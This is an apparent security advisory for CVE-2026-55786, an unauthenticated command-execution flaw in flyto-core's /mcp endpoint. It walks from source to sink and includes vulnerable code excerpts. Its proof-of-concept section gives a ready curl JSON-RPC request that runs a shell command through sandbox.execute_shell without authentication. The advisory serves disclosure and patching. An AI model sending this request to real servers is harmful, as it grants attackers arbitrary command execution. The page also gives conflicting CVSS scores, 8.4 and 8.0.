🛡️ CVE-2026-55786 — flyto-core
Description
flyto-core has Unauthenticated Command Execution via HTTP MCP execute_module
Unauthenticated Command Execution via HTTP MCP execute_module
Summary
The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.
Details
flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.
The complete unauthenticated data flow from source to sink:
1. src/core/api/server.py:75-78 — mcp_router is mounted under /mcp unconditionally at app creation.
2. src/core/api/routes/mcp.py:65-66 — @router.post("") has no Depends(require_auth) guard; any HTTP client may POST to this route.
3. src/core/api/routes/mcp.py:79 — the full request body (attacker-controlled JSON) is parsed without validation.
4. src/core/api/routes/mcp.py:103-104 — each JSON-RPC item is forwarded to handle_jsonrpc_request without a module_filter.
5. src/core/mcp_handler.py:813-838 — tools/call with name execute_module forwards attacker-controlled module_id and params to execute_module().
6. src/core/mcp_handler.py:180, 214-215 — the module registry resolves module_id and invokes it with attacker-supplied params.
7. src/core/modules/registry/decorators.py:96-101 — the function wrapper exposes self.params as context['params'].
8. src/core/modules/atomic/sandbox/execute_shell.py:137-139 — command is read directly from params with no sanitization.
9. src/core/modules/atomic/sandbox/execute_shell.py:163-169 — command reaches asyncio.create_subprocess_shell with shell=True and no allowlist or escaping.
The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.
Vulnerable code excerpts:
```python
# src/core/api/routes/mcp.py:65-66 — missing auth
@router.post("")
async def mcp_post(request: Request):
```
```python
# src/core/mcp_handler.py:832-838 — attacker-controlled dispatch
elif tool_name == "execute_module":
result = await execute_module(
module_id=arguments.get("module_id", ""),
params=arguments.get("params", {}),
context=arguments.get("context"),
browser_sessions=browser_sessions,
)
```
```python
# src/core/modules/atomic/sandbox/execute_shell.py:137-169 — sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)
```
Contrast with the protected REST route:
```python
# src/core/api/routes/modules.py:93 — correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])
```
The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.
PoC
Environment setup (Docker):
```bash
# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
-f vuln-001/Dockerfile \
-t flyto-vuln-001 \
reports/mcp_57_flytohub__flyto-core/
# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
-p 127.0.0.1:8333:8333 \
--name flyto-vuln-001-test \
flyto-vuln-001
```
Exploit (curl) — no Authorization header:
```bash
curl -sS http://127.0.0.1:8333/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {"command": "id", "timeout": 5}
}
}
}'
```
Exploit (Python PoC script):
```bash
python3 vuln-001/poc.py \
--host 127.0.0.1 --port 8333 --command id
```
Observed response (dynamic reproduction, Phase 2):
```json
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"structuredContent": {
"ok": true,
"data": {
"stdout": "uid=0(root) g
How this vulnerability can be exploited
This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
Weakness class
CVE-2026-55786 is classified as CWE-306: Missing Authentication for Critical Function. A sensitive function can be reached without authenticating at all.
Affected software
CVE-2026-55786 is recorded against 1 package.
- flyto-core (from 2.26.2 up to 2.26.4)
Timeline and source
Published on 6 July 2026 and last revised on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.
References
Details
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| flyto-core | 2.26.2 | 2.26.4 |
References
Similar Threats
- High CVE-2026-67424
- High CVE-2026-67425
- Critical CVE-2026-67426
- High CVE-2026-67427
- High CVE-2026-67428
Site Security Check
Is flyto-core part of your stack?
CVE-2026-55786 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.